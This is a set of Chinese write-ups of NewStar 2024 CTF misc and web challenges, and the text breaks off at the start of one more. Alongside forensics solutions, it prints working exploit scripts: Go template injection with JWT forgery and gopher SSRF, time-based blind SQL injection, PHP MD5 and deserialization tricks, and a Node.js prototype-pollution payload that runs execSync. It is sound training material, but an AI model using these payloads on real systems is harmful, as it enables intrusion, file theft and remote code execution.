不过还是要自己分析一下,就是考察的usb键鼠流量。这一题用常见的工具是写不出来的,得靠自己分析,还是老样子先提取出数据

1
tshark -r keyboard.pcapng -T fields -e usbhid.data > usb_data.txt

image-20260205174106122

初步分析后这是用alt+数字,alt+数字就表示按Unicode码值输入字符。这也就是为什么常见工具不行的原因,常见工具可能就是按照明文识别的,而这是用alt+数字安Unicode码输入字符,ASCII码是Unicode码的子集,这一题也提示了flag中包含非ASCII码的字符,其实就是汉字。提取出来够来分析这一段数据

image-20260205182037043

就是一直按着alt,5b->3,60->8…到松开alt依次按下的是38190,那么可以转换一下Unicode 码

image-20260205182428206

也就是打出了一个键字,紧接着就按下可backspace又把这个键字删了,这一题的坑就在这,题目提示说flag包含非ASCII字符语义较为通顺,那么就看下一个

image-20260205183221068

image-20260205183243934

也就是打出来键盘两个字,同样打出后是删除了,按照流量包的逻辑最后的flag是

flag{with_alt__15_5o0OO0o}

但是我们要保留被删除的非ASCII字符,最后的flag就是flag{键盘流量_with_alt_和窗户_15_5o0OO0o_酷},exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

def parse_usb_data(filename):
with open(filename, 'r') as f:
lines = f.readlines()

numpad_map = {
0x59: '1', 0x5a: '2', 0x5b: '3', 0x5c: '4', 0x5d: '5',
0x5e: '6', 0x5f: '7', 0x60: '8', 0x61: '9', 0x62: '0'
}

result_str = ""
current_alt_code = ""
in_alt_sequence = False

last_keycode = 0

for line in lines:
line = line.strip()
if not line:
continue

# Parse hex string
try:
# Format: 04005b0000000000 (16 chars, 8 bytes)
# Sometimes tshark might output fewer or more bytes?
# usbhid.data usually is the raw payload.
bytes_data = bytearray.fromhex(line)
except ValueError:
continue

if len(bytes_data) < 3:
continue

modifier = bytes_data[0]
keycode = bytes_data[2]

# Check Alt key (Left Alt = 0x04, Right Alt = 0x40)
is_alt_pressed = (modifier & 0x04) or (modifier & 0x40)

if is_alt_pressed:
in_alt_sequence = True
if keycode != 0 and keycode != last_keycode:
# Key press event (simple check, assuming no rollover issues for now)
if keycode in numpad_map:
current_alt_code += numpad_map[keycode]
# print(f"Digit: {numpad_map[keycode]}")
else:
if in_alt_sequence:
# Alt just released
if current_alt_code:
try:
ascii_val = int(current_alt_code)
char = chr(ascii_val)
result_str += char
# print(f"Code: {current_alt_code} -> {char}")
except:
print(f"Invalid code: {current_alt_code}")
current_alt_code = ""
in_alt_sequence = False

# Handle Backspace (0x2a) when Alt is NOT pressed
if keycode == 0x2a and last_keycode != 0x2a:
if result_str:
result_str = result_str[:-1]
# print("Backspace")

last_keycode = keycode

print(f"Result: {result_str}")

if __name__ == "__main__":
parse_usb_data("usb_data.txt")

扫码领取 flag

随波逐流分析题目给的附件,发现给的4个压缩包就是二维码的4个部分,同时给的附件名是Flag,f1ag,fl4g,fla9按照这个顺序排列

image-20260205103150322

​ 还是使用随波逐流的扫码工具

image-20260205104320520

在hint.jpg图片属性中有提示base64编码的内容,然后解码时Quetzalcoatl&Kukulcan,我以为时羽蛇神什么的没理解啥意思,官方wp写的是阿兹特克文明,就是阿兹特克码。免费在线条码扫描器来读取 Aztec 代码。

image-20260205104653854

擅长加密的小明同学

给了一个镜像文件

image-20260205193620652

发现bitlocker加密,又给了一个内存镜像文件,提示说有没有软件能破解,有的兄弟有的,bfdd,

image-20260205194923851

image-20260205195015950

解密就行了,解密后保存解密的镜像文件image-20260205195058398

然后有个压缩包是加密的。要找密码,那就要在给的镜像文件分析了,使用lovelymem,使用画图软件吧密码写下啦,看一下进程列表

image-20260205195727665

这个mspaint.exe就是画图软件,dump一下,然后用gimp调试,这里放一张别人调试好的图

![屏幕截图 2025-01-28 162730](NewStar2024-WEB-MISC/屏幕截图 2025-01-28 162730.png)

密码是rxnifbeiyomezpplugho,解压得到flag

flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}

擅长音游的小明同学

这一题给了E01文件,那就仿真进入看看,具体步骤不在多说,网上都有,就是ftk挂载+vm仿真,在桌面文件夹,只有一大坨文件,看那几十个txt文件内容都差不多

1
2
3
4
5
今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
我要把这一刻用照片保存下来
不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
打开也没发现什么异常,但是体积好像变大了一点
是错觉吗?
1
2
真相会不经意间流入日常的点点滴滴……
真相在哪里?

然后分析那个舞萌那个图片

舞萌

随波逐流分析附件有个压缩包解压文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
听好了听好了听好了听好了听好了听好了听好了:

1919年8月10日,世界就此陷落,
陷落的世界都将迎来一场漩涡,
为这个世界带来有关弗拉格尚未知晓的真相。

但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在

也许,在世界的重置和轮回中能找到发现真相的方法……

至此,尘埃落定
至此,一锤定音

#音游# #NewStarcaea# #Misc#

然后就是脑洞了,没想到会用分辨率出题,要调整分辨率

Flag

flag{wowgoodfzforensics}、

web

PangBai 过家家(4)

首先根据提示,就重点看main.go的代码。这里看几个关键

1
2
3
4
5
6
7
8
9
10
11
12
func main() {
r := mux.NewRouter()

r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)
r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))

fmt.Println("Starting server on :8000")
http.ListenAndServe(":8000", r)
}

这里定义了几个路由,关键的的是/eye,还有/favorite.先看eye

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
func routeEye(w http.ResponseWriter, r *http.Request) {
// 获取用户输入
input := r.URL.Query().Get("input")
if input == "" {
input = "{{ .User }}" // 默认值也是模板语法
}

// 读取模板文件
content, err := ioutil.ReadFile("views/eye.html")
// ...

// 🔴 危险操作:将用户输入直接替换到模板中
tmplStr := strings.Replace(string(content), "%s", input, -1)

// 🔴 解析包含用户输入的模板字符串
tmpl, err := template.New("eye").Parse(tmplStr)

// JWT 认证逻辑
user := "PangBai" // 默认用户
token, err := r.Cookie("token")
// 验证 JWT,获取实际用户
o, err := validateJwt(token.Value)
if err == nil {
user = o.Name
}

// 生成新的 JWT 令牌
newToken, err := genJwt(Token{Name: user})

// 渲染模板
helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper) // 🔴 执行可能包含恶意代码的模板
}

这里就是通过input传参,然后渲染模板存在ssti,同时还会验证jwt,默认的是Pangbai。同时还有Helper数据结构

1
2
3
4
5
6
7
8
9
10
11
12
type Config struct {
Stringer
Name string
JwtKey string
SignaturePath string
}

type Helper struct {
Stringer
User string
Config Config
}

直接访问/eye默认的是{{.User}},user默认是Pangbai

image-20260206151719397

然后看/favorite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
func routeFavorite(w http.ResponseWriter, r *http.Request) {

if r.Method == http.MethodPut {

// ensure only localhost can access
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}

token, _ := r.Cookie("token")

o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}

if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}

if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}

body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}

// render

tmpl, err := template.ParseFiles("views/favorite.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}

sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}

err = tmpl.Execute(w, string(sig))

if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}

限制的只有PUT请求,只允许localhost访问,然后验证jwt,只允许PaPa才能进行使用下面的功能,

1
2
3
4
5
6
7
8
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return

就是这一部分,可以通过PUT请求来修改文件路径,下面的代码就是读取并显示文件,代码设置的文件是sign.txt,

image-20260206153032318

就会在右下角显示文件内容,那么我们就可以伪造token,然后通过PUT请求修改文件路径从而进行任意文件读取,要伪造token,就要获取密钥,而密钥就在

1
2
3
4
5
6
type Config struct {
Stringer
Name string
JwtKey string
SignaturePath string
}

可以在/eye读取到这个JwtKey,paylaod

1
/eye?input={{.Config.JwyKey}}

image-20260206153842893

然后伪造token

image-20260206154124242

接下来就是通过PUT请求修改文件路径,在main.go代码中

1
2
3
4
5
6
7
8
9
10
11
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}

Helper 定义了一个 Curl 的方法,可以在/eye路由下使用{{.Curl.url}}进行ssrf,使用gopher协议发起PUT请求,注意payload要进行两次url编码

image-20260206170122640

然后访问/favorite就得到flag,或者使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import requests
import jwt
import re
import urllib.parse

# ====================== 基础配置 ======================
# 题目地址(根据实际情况调整)
BASE_URL = ""
EYE_URL = f"{BASE_URL}/eye"
FAVORITE_URL = f"{BASE_URL}/favorite"
# Go服务本地端口
LOCAL_PORT = 8000
# 要读取的目标文件(优先/flag,其次/proc/self/environ)
TARGET_FILE = "/proc/self/environ"
# ======================================================

def leak_jwt_key():
"""第一步:泄露JWT密钥 {{ .Config.JwtKey }}"""
print("[1] 泄露JWT密钥...")
params = {"input": "{{ .Config.JwtKey }}"}
try:
resp = requests.get(EYE_URL, params=params, timeout=10)
# 提取JwtKey(匹配任意64位随机字符串)
jwt_key_match = re.search(r'[0-9a-zA-Z]{64}', resp.text)
if jwt_key_match:
jwt_key = jwt_key_match.group(0)
print(f"[+] 泄露的JWT密钥:{jwt_key}")
return jwt_key
else:
print("[-] 未找到JWT密钥,请检查输入格式")
return None
except Exception as e:
print(f"[-] 泄露JWT密钥失败:{e}")
return None

def forge_papa_jwt(jwt_key):
"""第二步:伪造Papa的JWT(user=Papa)"""
print("\n[2] 伪造Papa的JWT...")
# 构造JWT payload(user字段为Papa)
payload = {"user": "Papa"}
try:
# 生成HS256签名的JWT
forged_jwt = jwt.encode(payload, jwt_key, algorithm="HS256")
print(f"[+] 伪造的Papa JWT:{forged_jwt}")
return forged_jwt
except Exception as e:
print(f"[-] 伪造JWT失败:{e}")
return None

def build_gopher_payload(forged_jwt, target_file):
"""第三步:构造Gopher协议的PUT请求payload"""
print("\n[3] 构造Gopher协议PUT请求...")
# 构造原始PUT请求报文
put_request = (
f"PUT /favorite HTTP/1.1\r\n"
f"Host: 127.0.0.1:{LOCAL_PORT}\r\n"
f"Content-Type: text/plain\r\n"
f"Cookie: token={forged_jwt}\r\n"
f"Content-Length: {len(target_file)}\r\n"
f"\r\n"
f"{target_file}"
)
# 对PUT请求进行URL编码(Gopher协议要求)
encoded_put = urllib.parse.quote(put_request, safe="")
# 构造Gopher URL
gopher_url = f"gopher://127.0.0.1:{LOCAL_PORT}/_{encoded_put}"
# 构造{{ .Curl "gopher_url" }}格式的payload
curl_payload = f'{{{{ .Curl "{gopher_url}" }}}}'
print(f"[+] 生成的Curl payload:\n{curl_payload[:150]}...")
return curl_payload

def trigger_ssrf(curl_payload):
"""第四步:触发SSRF修改SignaturePath"""
print("\n[4] 触发SSRF修改文件路径...")
params = {"input": curl_payload}
try:
resp = requests.get(EYE_URL, params=params, timeout=10)
if "ok" in resp.text:
print("[+] SSRF触发成功!已修改SignaturePath为:", TARGET_FILE)
return True
else:
print(f"[-] SSRF触发失败,响应:{resp.text[:100]}")
return False
except Exception as e:
print(f"[-] SSRF触发异常:{e}")
return False

def get_flag():
"""第五步:访问/favorite读取flag"""
print("\n[5] 读取flag...")
try:
resp = requests.get(FAVORITE_URL, timeout=10)
# 匹配flag格式(flag{...} / FLAG{...})
flag_match = re.search(r'(flag|FLAG)\{[^}]+\}', resp.text)
if flag_match:
flag = flag_match.group(0)
print(f"\n[✅] 找到FLAG:{flag}")
return flag
else:
print(f"[!] 未找到flag,响应内容:\n{resp.text}")
return resp.text
except Exception as e:
print(f"[-] 读取flag失败:{e}")
return None

# ====================== 主执行流程 ======================
if __name__ == "__main__":
print("===== 开始解题(Go模板注入+SSRF+JWT伪造) =====")

# 1. 泄露JWT密钥
jwt_key = leak_jwt_key()
if not jwt_key:
exit(1)

# 2. 伪造Papa的JWT
forged_jwt = forge_papa_jwt(jwt_key)
if not forged_jwt:
exit(1)

# 3. 构造Gopher payload
curl_payload = build_gopher_payload(forged_jwt, TARGET_FILE)

# 4. 触发SSRF
if not trigger_ssrf(curl_payload):
exit(1)

# 5. 读取flag
flag = get_flag()

print("\n===== 解题完成 =====")

blindsql2

这个就用时间盲注,还存在waf,过滤了ascii,substr,空格,这里用大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://192.168.7.115:62368/"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
#payload = f'select%09database()' #查一下默认数据库

#payload = f'select%09group_concat(schema_name)%09from%09information_schema.schemata'#查所有数据库

#payload = f'select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09"ctf"'

#payload = f'select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09"secrets"'

payload = f'select%09group_concat(id,secret_key,secret_value)%09from%09ctf.secrets'


payload_1=f"?student_name=1'%09or%09if((Ord(mid(({payload}),{i},1))>{mid}),sleep(3),0)%23"
try:
r = requests.get(url + payload_1, timeout=1)
tail = mid
except Exception as e:
head = mid + 1


result += chr(head)
print(result)

这个爆破时间太长了,建议刷一会抖音

chocolate

先扫目录

image-20260207091535384

访问一下/verify.php?id=1&confirm_hash=

image-20260207091617500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);

printf("什么?想做巧克力? ");

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="1337"){
die("可爱的捏");
}
if(preg_match("/[a-z]|\./i", $num)){
die("你干嘛");
}
if(!strpos($num, "0")){
die("orz orz orz");
}
if(intval($num,0)===1337){
print("{$cocoaLiquor_star}\n");
print("{$what_can_i_say}\n");
print("牢师傅如此说到");
}
}

就是num不能直接等于1337,不能包含字母,必须包含0,然后经过intval函数转换后是1337 ,这是intval的第二个参数是0,那么他就会根据字符串的前缀自动识别,0x开头的是十六进制,0开头的是8进制,由于过滤了字母,可以使用8进制,1337转换为8进制表示就是

02471.直接传?num=02471是不对的,因为还有一个函数‘

1
2
3
if(!strpos($num, "0")){
die("orz orz orz");
}

这是strpos函数会索引num的0出现的位置,02471索引后返回0,那个!strops就是!0,也就是true,那就直接执行die函数了,所以不能0开头,前面加一个空格就行了

image-20260207093838462

1
可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到

那个可可液块是1337033。

1
gur arkg yriry vf : pbpbnOhggre_fgne.cuc

rot13解码

image-20260207094144757

访问cocoaButter_star.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
global $cocoaButter_star;
global $next;
error_reporting(0);
include "source.php";

$cat=$_GET['cat'];
$dog=$_GET['dog'];

if(is_array($cat) || is_array($dog)){
die("EZ");
}else if ($cat !== $dog && md5($cat) === md5($dog)){
print("of course you konw");
}else {
show_source(__FILE__);
die("ohhh no~");
}

if (isset($_POST['moew'])){
$miao = $_POST['moew'];
if($miao == md5($miao)){
echo $cocoaButter_star;
}
else{
die("qwq? how?");
}
}

$next_level =$_POST['wof'];

if(isset($next_level) && substr(md5($next_level),0,5)==='8031b'){
echo $next;
}

这一关主要考察md5的知识点,首先分析代码,get传参的两个参数,cat,dag,不能是数组,值不能相等,但md5值相等,就是强相等。是md5值也一样

  • cat: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
  • dog: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后post参数moew,本身的值跟md5值一样,这里是弱比较,可以使用0e开头并且双md5之后还是0e开头的字符串0e215962017

下一个是wof,md5的前5位是8031b,爆破一下就行了2306312

image-20260207103327460

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include "source.php";
highlight_file(__FILE__);
$food = file_get_contents('php://input');

class chocolate{
public $cat='???';
public $kitty='???';
public function __construct($u,$p){
$this->cat=$u;
$this->kitty=$p;
}
public function eatit(){
return $this->cat===$this->kitty;
}

public function __toString(){
return $this->cat;
}

public function __destruct(){
global $darkCocoaPowder;
echo $darkCocoaPowder;
}
}

$milk=@unserialize($food);
if(preg_match('/chocolate/', $food)){
throw new Exception("Error $milk",1);
}

最终要输出 $darkCocoaPowder,可以使用大小写绕过对chocolate的限制,直接new一对象把小写改为大写就行

1
O:9:"Chocolate":2:{s:8:"username";s:3:"???";s:8:"password";s:3:"???";}

image-20260207104651634

可可液块是1337033,可可脂是202409,黑可可粉是51540,都是数字,剩下的糖分爆破一下就行

image-20260207105607609

2042处得到flag

ezcmsss

扫目录有个www.zip

image-20260207110254162

在readme.txt发现版本到1.9.5,找一下漏洞有一个文件上传漏洞,在start.sh找到了登入后台的账号密码

1
admin_name=jizhicms1498&admin_pass=4oP4fB51r5

访问admin.php输入账号密码登入后台,看wp是题目不出网无法远程下载文件,需要上传到本地然后按照网上的文章操作就行了

image-20260207114346737

文件路径是%2Fstatic%2Fupload%2Ffile%2F20260207%2F1770435749110931.zip

接下来就要自己构造数据包了,这里参考官方wp复现,还是注意修改PHPSESSID

image-20260207192148963

然后接下来解压的时候老报错

image-20260207194959043

只要解压就可以命令执行了。

ezpollute

这一题考察原型链污染,首先分析index.js,主要有以下的几个路由:

/upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.post('/upload', upload.array('images'), async (ctx) => {
const userID = uuidv4() // 生成唯一用户ID
const userDir = path.join(__dirname, 'uploads', userID) // 拼接用户专属目录

// 若目录不存在则创建(recursive: true 支持多级目录创建)
if (!fs.existsSync(userDir)) {
fs.mkdirSync(userDir, { recursive: true })
}

// 遍历上传的文件,移动到用户目录
ctx.files.forEach((file) => {
const newFilePath = path.join(userDir, file.filename)
fs.renameSync(file.path, newFilePath) // 同步移动文件(上传的临时文件 → 用户目录)
})

token = encodeToken(userID) // 用用户ID生成Token
ctx.cookies.set('token', token) // 将Token写入客户端Cookie
ctx.body = { code: 1 } // 返回上传成功标识
})

/config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
router.post('/config', async (ctx) => {
jsonData = ctx.request.rawBody || "{}" // 获取原始请求体(未被 bodyParser 解析的内容)
token = ctx.cookies.get('token') // 从Cookie获取Token

// 无Token则返回错误
if (!token) {
return ctx.body = { code: 0, msg: 'Upload Photo First' }
}

// 解码Token,获取用户ID([err, userID] 是自定义的错误优先返回格式)
const [err, userID] = decodeToken(token)
if (err) {
return ctx.body = { code: 0, msg: 'Invalid Token' }
}

// 解析用户提交的配置JSON
userConfig = JSON.parse(jsonData)
try {
finalConfig = clone(defaultWaterMarkConfig) // 深克隆默认水印配置(避免修改原对象)
merge(finalConfig, userConfig) // 合并用户配置(用户配置覆盖默认配置)
// 将最终配置写入用户目录的 config.json 文件
fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))
ctx.body = { code: 1, msg: 'Config updated successfully' }
} catch (e) {
ctx.body = { code: 0, msg: 'Some error occurred' }
}
})

这个json我们是可以自己定义的,同时这里也提到了merge函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object'
}

function merge(target, source) {
if (!isObject(target) || !isObject(source)) {
return target
}
for (let key in source) {
// 漏洞1:只过滤了 __proto__,没过滤 constructor/prototype
if (key === "__proto__") continue
// 漏洞2:空字符串过滤无意义(攻击载荷中无空字符串)
if (source[key] === "") continue

// 漏洞3:仅判断 key in target 才递归,攻击者可直接给 Object.prototype 加属性
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
// 直接赋值:攻击者传入 constructor.prototype.xxx 时,会篡改 Object.prototype
target[key] = source[key];
}
}
return target
}

这里仅仅过滤了_proto_,可以绕过

1
2
3
实例.__proto__ === 构造函数.prototype 
实例.constructor === 构造函数
→ 实例.constructor.prototype === 实例.__proto__

也就是我们可以通过constructor.prototype绕过题目对_proto_的限制

/process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 1. 定位 PhotoProcess.js 脚本路径
const PhotoProcessScript = path.join(__dirname, 'PhotoProcess.js')

router.post('/process', async (ctx) => {
// 2. 验证 Token(用户身份)
const token = ctx.cookies.get('token')
const [err, userID] = decodeToken(token)
if (err) {
return ctx.body = { code: 0, msg: 'Invalid Token' }
}

// 3. 拼接用户目录并校验存在性
const userDir = path.join(__dirname, 'uploads', userID)
if (!fs.existsSync(userDir)) {
return ctx.body = { code: 0, msg: 'User directory not found' }
}

try {
// 4. 用 Promise 封装子进程逻辑(支持 await)
await new Promise((resolve, reject) => {
// 核心:fork 启动子进程(攻击利用的关键)
const proc = fork(PhotoProcessScript, [userDir], { silent: true })

// 监听子进程退出(退出码 0 表示成功)
proc.on('close', (code) => {
if (code === 0) {
resolve('success')
} else {
reject(new Error('An error occurred during execution'))
}
})

// 监听子进程启动失败
proc.on('error', (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`))
})
})
ctx.body = { code: 1, msg: 'Photos processed successfully' }
} catch (error) {
ctx.body = { code: 0, msg: 'some error occurred' }
}
})

整个原型污染攻击链条中触发恶意代码执行的关键环节—— 正是通过 fork 启动子进程执行 PhotoProcess.js

forkchild_process 中专门创建 Node.js 子进程的方法, 创建的子进程会继承父进程的 Object.prototype(已被污染)

然后看一下这个PhotoProcess.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// 引入核心依赖模块
const fs = require('fs') // 文件系统操作模块(同步API)
const path = require('path') // 路径处理模块,用于拼接/解析文件路径
const jimp = require('jimp') // 纯JS图片处理库,用于添加文字水印
const archiver = require('archiver') // ZIP压缩包生成库
const { defaultWaterMarkConfig } = require('./utils/config') // 导入默认水印配置

// 步骤1:接收主进程传入的用户目录参数(process.argv[2] 是fork时传入的第二个参数)
const directoryPath = process.argv[2]
// 步骤2:定义压缩包输出路径(用户目录下的images.zip)
const outputZipPath = path.join(directoryPath, 'images.zip')

// 步骤3:初始化ZIP压缩相关资源
const output = fs.createWriteStream(outputZipPath) // 创建压缩包可写流
const archive = archiver('zip', { zlib: { level: 9 } }) // 初始化压缩实例,zlib级别9为最高压缩比

// 步骤4:加载水印配置(优先用户自定义,无则用默认)
var config
// 检查用户目录下是否有自定义配置文件config.json
if (fs.existsSync(path.join(directoryPath, 'config.json'))) {
// 同步读取并解析自定义配置
config = JSON.parse(fs.readFileSync(path.join(directoryPath, 'config.json')))
} else {
// 无自定义配置则使用默认配置
config = defaultWaterMarkConfig
}

// 步骤5:配置参数格式化(将字符串转为整数,避免计算错误)
config.x = parseInt(config.x, 10); // 水印X轴偏移量
config.y = parseInt(config.y, 10); // 水印Y轴偏移量
config.maxWidth = parseInt(config.maxWidth, 10) // 水印文字最大宽度(超出换行)
config.maxHeight = parseInt(config.maxHeight, 10); // 水印文字最大高度

// 步骤6:监听压缩包流事件
// 压缩包写入流关闭时(表示压缩包生成完成)
output.on('close', () => {
console.log(`Zip file created: ${outputZipPath}`)
})
// 压缩包生成过程中出错时,直接抛出错误终止进程
archive.on('error', err => {
throw err
})
// 将压缩包内容管道到可写流(核心:边生成边写入,减少内存占用)
archive.pipe(output)

// 步骤7:读取用户目录下的文件并处理图片
fs.readdir(directoryPath, (err, files) => {
// 读取目录失败时,打印错误并退出进程(退出码1标识错误)
if (err) {
console.error('Failed to read directory:', err)
process.exit(1)
}

// 步骤8:过滤出图片文件(仅保留jpg/jpeg/png/gif格式,忽略大小写)
const images = files.filter(file => /\.(jpg|jpeg|png|gif)$/i.test(file))

// 步骤9:批量创建图片处理Promise(并行处理所有图片)
const processImagePromises = images.map(imageFile => {
const imagePath = path.join(directoryPath, imageFile) // 拼接图片完整路径

// 异步处理单张图片:读取→加载字体→添加水印→保存
return jimp.read(imagePath)
// 加载jimp内置字体(64号黑色无衬线字体),返回图片和字体对象
.then(image => {
return jimp.loadFont(jimp.FONT_SANS_64_BLACK).then(font => ({ image, font }))
})
// 为图片添加文字水印
.then(({ image, font }) => {
image.print(
font, // 使用的字体
config.x, // 水印X轴位置
config.y, // 水印Y轴位置
{
text: config.textOptions.text, // 水印文字内容
alignmentX: jimp[config.textOptions.alignmentX], // 水平对齐方式
alignmentY: jimp[config.textOptions.alignmentY] // 垂直对齐方式
},
config.maxWidth, // 文字最大宽度(超出自动换行)
config.maxHeight, // 文字最大高度
)
// 定义水印图片临时路径(添加watermarked_前缀区分原文件)
const watermarkedPath = path.join(directoryPath, `watermarked_${imageFile}`)
// 异步写入水印图片,完成后返回临时路径
return image.writeAsync(watermarkedPath).then(() => watermarkedPath)
})
// 单张图片处理失败时打印错误(不中断整体流程)
.catch(err => {
console.error('Failed to process images:', err)
})
})

// 步骤10:等待所有图片处理完成后,打包压缩并清理临时文件
Promise.all(processImagePromises)
.then(watermarkedPaths => {
// 将所有水印图片添加到压缩包(仅保留文件名,无目录层级)
watermarkedPaths.forEach(filePath => {
archive.file(filePath, { name: path.basename(filePath) })
})
// 完成压缩包生成(必须调用,否则压缩包损坏)
archive.finalize()

// 压缩包生成完成后,删除水印临时图片
archive.on('end', () => {
watermarkedPaths.forEach(filePath => {
// 修正:同步删除文件,移除无效回调,改用try/catch捕获错误
try {
fs.unlinkSync(filePath);
console.log(`Deleted file ${filePath}`);
} catch (err) {
console.error(`Failed to delete file ${filePath}:`, err);
}
});
});
})
// 图片处理/压缩打包整体失败时打印错误
.catch(err => {
console.error('Failed to process images:', err)
})
})

这里会优先检查是否有用户提交的config.json。分析思路就打开了,首先在/config下使用constructor.phototype绕过题目对_proto_的显示污染原型链,然后POST访问/process路由,创建子进程,解析我们上传的config,继承已经污染的原型链。我们污染 NODE_OPTIONSenv,在 env 中写入恶意代码,fork 在创建子进程时就会首先加载恶意代码,从而实现 RCE.大佬payload

1
2
3
4
5
6
7
8
9
10
11
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"EVIL": "console.log(require(\"child_process\").execSync(\"cp /flag static/script.js\").toString())//"
}
}
}
}

参考文章Node.js child_process.fork 与 env 污染 RCE | Yesterday17’s Blog - (o・∇・o)

先上传一张图片,获取token为后面的工作铺垫

image-20260209212109239

然后post访问/process,再访问/script.js就行

image-20260209212344532

参考文章2024newstar-web

隐藏的密码

首先扫目录有

image-20250601142753281

这里有一个back.html,还有两个端点,/actuator,/actuator/env

